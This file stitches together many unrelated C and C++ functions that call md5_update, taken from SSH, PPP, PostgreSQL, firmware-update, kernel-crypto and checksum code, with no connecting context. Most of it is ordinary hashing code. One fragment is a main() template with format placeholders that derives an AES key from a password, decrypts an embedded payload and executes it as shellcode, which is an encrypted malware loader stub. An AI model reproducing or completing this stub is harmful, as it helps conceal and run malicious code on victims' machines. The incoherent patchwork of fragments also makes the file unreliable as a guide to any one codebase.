static int build_session_id1(ssh_session session, ssh_string servern,
ssh_string hostn) {
MD5CTX md5 = NULL;
md5 = md5_init();
if (md5 == NULL) {
return -1;
}
#ifdef DEBUG_CRYPTO
ssh_print_hexa("host modulus",ssh_string_data(hostn),ssh_string_len(hostn));
ssh_print_hexa("server modulus",ssh_string_data(servern),ssh_string_len(servern));
#endif
md5_update(md5,ssh_string_data(hostn),ssh_string_len(hostn));
md5_update(md5,ssh_string_data(servern),ssh_string_len(servern));
md5_update(md5,session->next_crypto->server_kex.cookie,8);
if(session->next_crypto->session_id != NULL)
SAFE_FREE(session->next_crypto->session_id);
session->next_crypto->session_id = malloc(MD5_DIGEST_LEN);
if(session->next_crypto->session_id == NULL){
ssh_set_error_oom(session);
return SSH_ERROR;
}
md5_final(session->next_crypto->session_id,md5);
#ifdef DEBUG_CRYPTO
ssh_print_hexa("session_id",session->next_crypto->session_id,MD5_DIGEST_LEN);
#endif
return 0;
}
static int chap_md5_verify_response(int id, char *name,
unsigned char *secret, int secret_len,
unsigned char *challenge, unsigned char *response,
char *message, int message_space) {
md5_context ctx;
unsigned char idbyte = id;
unsigned char hash[MD5_HASH_SIZE];
int challenge_len, response_len;
LWIP_UNUSED_ARG(name);
challenge_len = *challenge++;
response_len = *response++;
if (response_len == MD5_HASH_SIZE) {
/* Generate hash of ID, secret, challenge */
md5_starts(&ctx);
md5_update(&ctx, &idbyte, 1);
md5_update(&ctx, secret, secret_len);
md5_update(&ctx, challenge, challenge_len);
md5_finish(&ctx, hash);
/* Test if our hash matches the peer's response */
if (memcmp(hash, response, MD5_HASH_SIZE) == 0) {
ppp_slprintf(message, message_space, "Access granted");
return 1;
}
}
ppp_slprintf(message, message_space, "Access denied");
return 0;
}
int md5_memory(const void *mem, uint64_t len, uint8_t hash[16]) {
uint8_t *buffer;
uint64_t offs = 0;
// uint32_t l=0;
struct md_context context;
// printf("hashing %ld bytes.\n", len);
buffer = (uint8_t *)malloc(BUFSIZE);
md5_start(&context);
while(len > BUFSIZE) {
memcpy(buffer, mem+offs, BUFSIZE);
md5_update(&context, buffer, BUFSIZE);
len -= BUFSIZE;
offs += BUFSIZE;
}
memcpy(buffer, mem+offs, len);
md5_update(&context, buffer, len);
md5_finish(&context);
memcpy(hash, context.digest, 16);
return 0;
}
static int passphrase_to_key(char *data, unsigned int datalen,
unsigned char *salt, unsigned char *key, unsigned int keylen) {
MD5CTX md;
unsigned char digest[MD5_DIGEST_LEN] = {0};
unsigned int i;
unsigned int j;
unsigned int md_not_empty;
for (j = 0, md_not_empty = 0; j < keylen; ) {
md = md5_init();
if (md == NULL) {
return -1;
}
if (md_not_empty) {
md5_update(md, digest, MD5_DIGEST_LEN);
} else {
md_not_empty = 1;
}
md5_update(md, data, datalen);
if (salt) {
md5_update(md, salt, PKCS5_SALT_LEN);
}
md5_final(digest, md);
for (i = 0; j < keylen && i < MD5_DIGEST_LEN; j++, i++) {
if (key) {
key[j] = digest[i];
}
}
}
return 0;
}
int md5_file(const char *path, uint8_t hash[16]) {
uint8_t *buffer;
uint32_t l;
FILE *fp;
struct md_context context;
buffer = (uint8_t *)malloc(BUFSIZE);
if(!(fp = fopen(path, "rb"))) {
fprintf(stderr, "File couldn't be read.\n");
fprintf(stderr, "%s\n", strerror(errno));
return -1;
}
md5_start(&context);
l = fread(buffer, 1, BUFSIZE, fp);
while(l == BUFSIZE) {
md5_update(&context, buffer, BUFSIZE);
l = fread(buffer, 1, BUFSIZE, fp);
}
md5_update(&context, buffer, l);
md5_finish(&context);
memcpy(hash, context.digest, 16);
return 0;
}
void http_auth_headers(void *ctx, char *user, char *pass)
{
char *tmp;
int i;
unsigned char hash[16];
unsigned int m;
struct md5_context md5;
if(user) {
http_async_add_header(ctx, "X-Auth-User", user);
if(pass) {
md5_init(&md5);
md5_update(&md5, (unsigned char *)user, strlen(user));
md5_update(&md5, (unsigned char *)"-", 1);
m = 0;
md5_update(&md5, (unsigned char *)pass, strlen(pass));
md5_final(hash, &md5);
tmp = malloc(33);
for(i=0;i<16;i++) {
tmp[i*2] = hex[hash[i]>>4];
tmp[i*2+1] = hex[hash[i]&15];
}
tmp[32] = 0;
http_async_add_header(ctx, "X-Auth-Hash", tmp);
free(tmp);
}
}
}
static void checksum(unsigned char * dest, unsigned const char * src, u32 len,
int checksum_num)
{
static unsigned char extradata[][64] = {{
0x41,0x47,0xc8,0x09, 0xba,0x3c,0x99,0x6a,
0xda,0x09,0x9a,0x0f, 0xc0,0xd3,0x47,0xca,
0xd1,0x95,0x81,0x19, 0xab,0x17,0xc6,0x5f,
0xad,0xea,0xe5,0x75, 0x9c,0x49,0x18,0xa5,
0xdf,0x35,0x46,0x5b, 0x78,0x0e,0xcb,0xc7,
0x8c,0x3e,0xf4,0x90, 0xa2,0xb7,0x8e,0x00,
0x53,0x8d,0x4c,0xab, 0x13,0xa5,0x16,0x00,
0xff,0xb8,0x4b,0x20, 0x29,0x22,0x9d,0xee,
}, {
0xda,0x76,0x5c,0xd4, 0x34,0xc3,0xd7,0x2c,
0xac,0x40,0xb8,0xd8, 0x59,0xbc,0x59,0x34,
0xaa,0xbf,0x89,0xbd, 0x85,0xe8,0x40,0x27,
0x78,0x2b,0x18,0x6e, 0xa6,0x6e,0x5a,0xc6,
0xda,0xe3,0x86,0x84, 0x40,0x14,0x2a,0x23,
0x4f,0x5d,0x38,0x5e, 0x7f,0xd9,0x73,0x7d,
0xe4,0x80,0x3d,0x21, 0x28,0x41,0xf1,0xb2,
0x96,0x43,0x2b,0xcc, 0x0c,0x9d,0x26,0xb9,
}};
md5_context c;
md5_starts(&c);
md5_update(&c, src, len);
md5_update(&c, extradata[checksum_num], sizeof extradata[checksum_num]);
md5_finish(&c, dest);
}
uint32 mhmakefileparser::CreateEnvMd5_32() const
{
md5_context ctx;
string Md5;
string EnvVars=ExpandVar(USED_ENVVARS);
const char *pTmp=EnvVars.c_str();
// Now create the md5 string
md5_starts( &ctx );
DBGOUT(cout << "MD5 of " << m_MakeDir->GetQuotedFullFileName() << endl);
while (*pTmp)
{
string Var;
pTmp=NextItem(pTmp,Var,";");
if (!SkipVar(Var))
{
string Val=ExpandVar(Var);
transform(Val.begin(),Val.end(),Val.begin(),(int(__CDECL *)(int))toupper);
DBGOUT(cout << GetMakeDir()->GetQuotedFullFileName() << " -> Setting GetFromEnv var " << Var << " to " << Val << endl);
md5_update( &ctx, (uint8 *) Var.c_str(), (unsigned long)Var.size());
md5_update( &ctx, (uint8 *) "=", 1);
md5_update( &ctx, (uint8 *) Val.c_str(), (unsigned long)Val.size());
}
}
return md5_finish32( &ctx);
}
static void pbkdf1_md5(const char *password, unsigned password_len,
const uint8_t salt[8], unsigned iter_count, unsigned key_size, uint8_t *key)
{
struct md5_ctx ctx;
uint8_t tmp[16];
unsigned i;
if (key_size > sizeof(tmp))
abort();
for (i=0;i<iter_count;i++) {
md5_init(&ctx);
if (i==0) {
md5_update(&ctx, password_len, (uint8_t*)password);
md5_update(&ctx, 8, salt);
md5_digest(&ctx, 16, tmp);
} else {
md5_update(&ctx, 16, tmp);
md5_digest(&ctx, 16, tmp);
}
}
memcpy(key, tmp, key_size);
return;
}
/*
* Churn the randomness pool on a random event. Call this early and often
* on random and semi-random system events to build randomness in time for
* usage. For randomly timed events, pass a null pointer and a zero length
* and this will use the system timer and other sources to add randomness.
* If new random data is available, pass a pointer to that and it will be
* included.
*
* Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427
*/
static void magic_churnrand(char *rand_data, u32_t rand_len) {
md5_context md5_ctx;
/* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: %u@%P\n", rand_len, rand_data)); */
md5_starts(&md5_ctx);
md5_update(&md5_ctx, (u_char *)magic_randpool, sizeof(magic_randpool));
if (rand_data) {
md5_update(&md5_ctx, (u_char *)rand_data, rand_len);
} else {
struct {
/* INCLUDE fields for any system sources of randomness */
u32_t jiffies;
#ifdef LWIP_RAND
u32_t rand;
#endif /* LWIP_RAND */
} sys_data;
magic_randomseed += sys_jiffies();
sys_data.jiffies = magic_randomseed;
#ifdef LWIP_RAND
sys_data.rand = LWIP_RAND();
#endif /* LWIP_RAND */
/* Load sys_data fields here. */
md5_update(&md5_ctx, (u_char *)&sys_data, sizeof(sys_data));
}
md5_finish(&md5_ctx, (u_char *)magic_randpool);
/* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: -> 0\n")); */
}
void masterconn_sendregister(masterconn *eptr) {
uint8_t *buff;
uint32_t myip;
uint16_t myport;
uint64_t usedspace,totalspace;
uint64_t tdusedspace,tdtotalspace;
uint32_t chunkcount,tdchunkcount;
myip = csserv_getlistenip();
myport = csserv_getlistenport();
if (eptr->new_register_mode) {
#ifdef MFSDEBUG
syslog(LOG_NOTICE,"register ver. 6 - init + space info");
#endif
hdd_get_space(&usedspace,&totalspace,&chunkcount,&tdusedspace,&tdtotalspace,&tdchunkcount);
if (eptr->gotrndblob && AuthCode) {
md5ctx md5c;
buff = masterconn_create_attached_packet(eptr,CSTOMA_REGISTER,1+16+4+4+2+2+2+8+8+4+8+8+4);
put8bit(&buff,60);
md5_init(&md5c);
md5_update(&md5c,eptr->rndblob,16);
md5_update(&md5c,(const uint8_t *)AuthCode,strlen(AuthCode));
md5_update(&md5c,eptr->rndblob+16,16);
md5_final(buff,&md5c);
buff+=16;
} else {
buff = masterconn_create_attached_packet(eptr,CSTOMA_REGISTER,1+4+4+2+2+2+8+8+4+8+8+4);
put8bit(&buff,60);
}
put32bit(&buff,VERSHEX);
put32bit(&buff,myip);
put16bit(&buff,myport);
put16bit(&buff,Timeout);
put16bit(&buff,masterconn_getcsid());
put64bit(&buff,usedspace);
put64bit(&buff,totalspace);
put32bit(&buff,chunkcount);
put64bit(&buff,tdusedspace);
put64bit(&buff,tdtotalspace);
put32bit(&buff,tdchunkcount);
} else {
#ifdef MFSDEBUG
syslog(LOG_NOTICE,"register ver. 5 - init");
#endif
buff = masterconn_create_attached_packet(eptr,CSTOMA_REGISTER,1+4+4+2+2);
put8bit(&buff,50);
put32bit(&buff,VERSHEX);
put32bit(&buff,myip);
put16bit(&buff,myport);
if (Timeout>0) {
put16bit(&buff,Timeout);
} else {
put16bit(&buff,10);
}
}
}
int kfmd5_mbedtls(const unsigned char *input, size_t ilen, unsigned char output[16])
{
md5_context ct;
md5_starts(&ct);
md5_update(&ct, input, ilen);
md5_update(&ct, input, ilen);
md5_finish(&ct, output);
return 0;
}
void md5_final (uint8_t digest[16],md5ctx *ctx) {
uint8_t bits[8];
uint32_t indx,padleng;
md5_encode(bits,ctx->count,2);
indx = (uint32_t)((ctx->count[0]>>3)&0x3f);
padleng = (indx<56)?(56-indx):(120-indx);
md5_update (ctx,padding,padleng);
md5_update(ctx,bits,8);
md5_encode(digest,ctx->state,4);
memset((char*)ctx,0,sizeof(md5ctx));
}
static bool verify_credentials(struct apop_auth_request *request,
const unsigned char *credentials, size_t size)
{
unsigned char digest[16];
struct md5_context ctx;
md5_init(&ctx);
md5_update(&ctx, request->challenge, strlen(request->challenge));
md5_update(&ctx, credentials, size);
md5_final(&ctx, digest);
return memcmp(digest, request->response_digest, 16) == 0;
}
static void
md5_final (md5_t *ctx, uint8_t *dst)
{
int i;
uint64_t finalcount = ctx->len << 3;
md5_update (ctx, (const uint8_t *) "\200", 1);
while ((ctx->len & 63) < 56)
md5_update (ctx, (const uint8_t *) "", 1);
md5_update (ctx, (uint8_t *) &finalcount, 8);
for (i = 0; i < 4; i++)
((uint32_t *) dst)[i] = ctx->ABCD[3-i];
}
static void build_session_id1(SSH_SESSION *session, STRING *servern,
STRING *hostn){
MD5CTX md5=md5_init();
#ifdef DEBUG_CRYPTO
ssh_print_hexa("host modulus",hostn->string,string_len(hostn));
ssh_print_hexa("server modulus",servern->string,string_len(servern));
#endif
md5_update(md5,hostn->string,string_len(hostn));
md5_update(md5,servern->string,string_len(servern));
md5_update(md5,session->server_kex.cookie,8);
md5_final(session->next_crypto->session_id,md5);
#ifdef DEBUG_CRYPTO
ssh_print_hexa("session_id",session->next_crypto->session_id,MD5_DIGEST_LEN);
#endif
}
void pg_md5_encrypt(const char *part1,
const char *part2, size_t part2len,
char *dest)
{
struct md5_ctx ctx;
uint8_t hash[MD5_DIGEST_LENGTH];
md5_reset(&ctx);
md5_update(&ctx, part1, strlen(part1));
md5_update(&ctx, part2, part2len);
md5_final(&ctx, hash);
memcpy(dest, "md5", 3);
hash2hex(hash, dest + 3);
}
static void MDTimeTrial (void)
{
MD5_CONTEXT context;
time_t endTime, startTime;
unsigned char block [TEST_BLOCK_LEN], digest [16];
unsigned i;
printf ("MD5 time trial. Digesting %d %d-byte blocks ...",
TEST_BLOCK_COUNT, TEST_BLOCK_LEN);
/* Initialize block */
for (i = 0; i < TEST_BLOCK_LEN; i++)
block [i] = (unsigned char)(i & 0xff);
/* Start timer */
time (&startTime);
/* Digest blocks */
md5_init (&context);
for (i = 0; i < TEST_BLOCK_COUNT; i++)
md5_update (&context, block, TEST_BLOCK_LEN);
md5_final (digest, &context);
/* Stop timer */
time (&endTime);
printf (" done\n");
printf ("Digest = ");
MDPrint (digest);
printf ("\nTime = %ld seconds\n", (long) (endTime - startTime));
printf ("Speed = %ld bytes/second\n",
(long) TEST_BLOCK_LEN * (long) TEST_BLOCK_COUNT / (endTime - startTime));
}
int cmd_md5sum(int argc, char **argv)
{
int fd;
int ret;
char buf[512];
unsigned char *p;
int i;
if (argc<2)
return -1;
md5_init();
fd = open(argv[1], O_RDONLY);
while(1) {
ret = read(fd, buf, 512);
if (ret <= 0)
break;
md5_update(buf, ret);
}
close(fd);
p= md5_final();
for (i=0; i<16; i++)
printf("%02x", p[i]);
printf("\n");
return 0;
}
int Read_UpdateBin_toCheck(INT8U *md5)
{
int i = 0;
int len_left = 512;
{
md5_starts( &ctx_rc );
for(i = 0; i < soft_len; i += len_left)
{
if( i + len_left > soft_len) len_left = soft_len - i;
FlashBufferRead((u8*)temp, zone_soft +i, len_left);//成功读出512个字节
md5_update( &ctx_rc, temp, len_left);
}
md5_finish( &ctx_rc, md5_check );
memset( &ctx_rc, 0, sizeof( md5_context ) );
}
for(i = 0; i < 16; i++)
{
if(md5_check[i] != *(md5 + i))
{
return 0;
}
}
return 1;
}
int md5_file(const char *filename){
int len,i;
unsigned char buf[1024];
unsigned char output[16];
int fd=open(filename,O_RDONLY);
CONTEXT cxt;
if(fd<0){
perror("open file");
exit(0);
}
md5_init(&cxt);
while((len=read(fd,buf,1024))>0){
md5_update(&cxt,buf,len);
}
md5_final(&cxt,output);
close(fd);
//output
for(i=0;i<16;i++)
printf("%02x",output[i]);
printf("\n");
return 0;
}
bool CalFileMd5(wchar_t const* lName,char *md5)
{
AutoFILE f;
md5_context m;
md5_starts(&m);
unsigned char buf[FileSizeOnDraw+1];
if((f=OpenFile(lName,L"rb"))!=NULL)
{
int nRead;
do
{
nRead=fread(buf,sizeof(char),FileSizeOnDraw,f);
md5_update(&m, buf,nRead);
} while(nRead==FileSizeOnDraw);
}
else
{
md5[0] = 0;
return TRUE;
}
unsigned char md5sum[16];
md5_finish(&m, md5sum);
for (int i = 0; i < 16; i++)
sprintf(md5 + i*2, "%02x", md5sum[i]);
md5[32] = '\0';
return TRUE;
}
int main(int argc, char **argv){
unsigned char key[16];
unsigned char iv[16] = %s;
unsigned char input[] = %s;
size_t input_len = %d;
unsigned char output[%d];
unsigned char passw[] = "%s";
size_t in_len = %d;
/* Generate a 128 bits key from the password */
md5_context md5_ctx;
md5_starts(&md5_ctx);
md5_update(&md5_ctx, passw, in_len);
md5_finish(&md5_ctx, key);
/* Decrypt the payload */
aes_context aes;
aes_setkey_dec(&aes, key, 128);
aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);
/* Execute decrypted shellcode */
((void (*)()) output)();
return 0;
}
/* Add padding and return the message digest. */
static void md5_final(struct crypto_tfm *tfm, u8 *out)
{
struct ubicom32_md5_ctx *mctx = crypto_tfm_ctx(tfm);
u32 bits[2];
unsigned int index, end;
/* must perform manual padding */
index = mctx->count & 0x3f;
end = (index < 56) ? MD5_BLOCK_SIZE : (2 * MD5_BLOCK_SIZE);
/* start pad with 1 */
mctx->buf[index] = 0x80;
/* pad with zeros */
index++;
memset(mctx->buf + index, 0x00, end - index - 8);
/* append message length */
bits[0] = mctx->count << 3;
bits[1] = mctx->count >> 29;
__cpu_to_le32s(bits);
__cpu_to_le32s(bits + 1);
memcpy(mctx->buf + end - 8, &bits, sizeof(bits));
/* force to use the mctx->buf and ignore the partial buf */
mctx->count = mctx->count & ~0x3f;
md5_update(tfm, mctx->buf, end);
/* copy digest to out */
memcpy(out, mctx->state, MD5_DIGEST_SIZE);
/* wipe context */
memset(mctx, 0, sizeof *mctx);
}
char *calculate_checksum(char *file) {
FILE *fp;
int bytes, i;
md5_t ctx;
unsigned char data[1024];
unsigned char c[MD5_DIGEST_LENGTH];
char *md5 = malloc(MD5_DIGEST_LENGTH *2 + 1);
fp = fopen(file, "rb");
if (!fp) {
return NULL;
}
md5_init(&ctx);
while ((bytes = fread(data, 1, 1024, fp)) != 0) {
md5_update(&ctx, data, bytes);
}
md5_final(c, &ctx);
for (i = 0; i < MD5_DIGEST_LENGTH; ++i) {
snprintf(&md5[i*2], MD5_DIGEST_LENGTH*2, "%02x", c[i]);
}
fclose(fp);
return md5;
}
/* The routine updates the message-digest context to
* account for the presence of each of the characters inBuf[0..inLen-1]
* in the message whose digest is being computed.
*/
void
md5_update(MD5_CONTEXT *hd, const unsigned char *inbuf, size_t inlen)
{
if (hd->count == 64) { /* flush the buffer */
transform( hd, hd->buf );
hd->count = 0;
hd->nblocks++;
}
if (!inbuf)
return;
if (hd->count) {
for (; inlen && hd->count < 64; inlen--)
hd->buf[hd->count++] = *inbuf++;
md5_update(hd, NULL, 0);
if (!inlen)
return;
}
while (inlen >= 64) {
transform(hd, inbuf);
hd->count = 0;
hd->nblocks++;
inlen -= 64;
inbuf += 64;
}
for (; inlen && hd->count < 64; inlen--)
hd->buf[hd->count++] = *inbuf++;
}
static int
__archive_nettle_md5update(archive_md5_ctx *ctx, const void *indata,
size_t insize)
{
md5_update(ctx, insize, indata);
return (ARCHIVE_OK);
}
/**
* @deprecated Use ssh_get_publickey_hash()
*/
int ssh_get_pubkey_hash(ssh_session session, unsigned char **hash) {
ssh_string pubkey;
MD5CTX ctx;
unsigned char *h;
if (session == NULL || hash == NULL) {
return SSH_ERROR;
}
*hash = NULL;
if (session->current_crypto == NULL ||
session->current_crypto->server_pubkey == NULL){
ssh_set_error(session,SSH_FATAL,"No current cryptographic context");
return SSH_ERROR;
}
h = malloc(sizeof(unsigned char) * MD5_DIGEST_LEN);
if (h == NULL) {
return SSH_ERROR;
}
ctx = md5_init();
if (ctx == NULL) {
SAFE_FREE(h);
return SSH_ERROR;
}
pubkey = session->current_crypto->server_pubkey;
md5_update(ctx, ssh_string_data(pubkey), ssh_string_len(pubkey));
md5_final(h, ctx);
*hash = h;
return MD5_DIGEST_LEN;
}
void growl_append_md5( unsigned char *const data , const int data_length , const char *const password )
{
md5_context md5ctx;
char md5tmp[20];
memset(md5tmp, 0, sizeof(md5tmp));
md5_starts(&md5ctx);
md5_update(&md5ctx, (uint8_t*)data, data_length );
if(password != NULL)
{
md5_update(&md5ctx, (uint8_t*)password, (uint32_t)strlen(password));
}
md5_finish(&md5ctx, (uint8_t*)md5tmp);
memcpy( data + data_length , md5tmp , 16 );
}
static void GenerKey(unsigned char *pDest,unsigned char *pSorg){
struct md5_context ctx;
md5_starts( &ctx );
md5_update( &ctx, (uint8 *) pSorg, strlen((char *)pSorg));
md5_finish( &ctx, pDest );
}
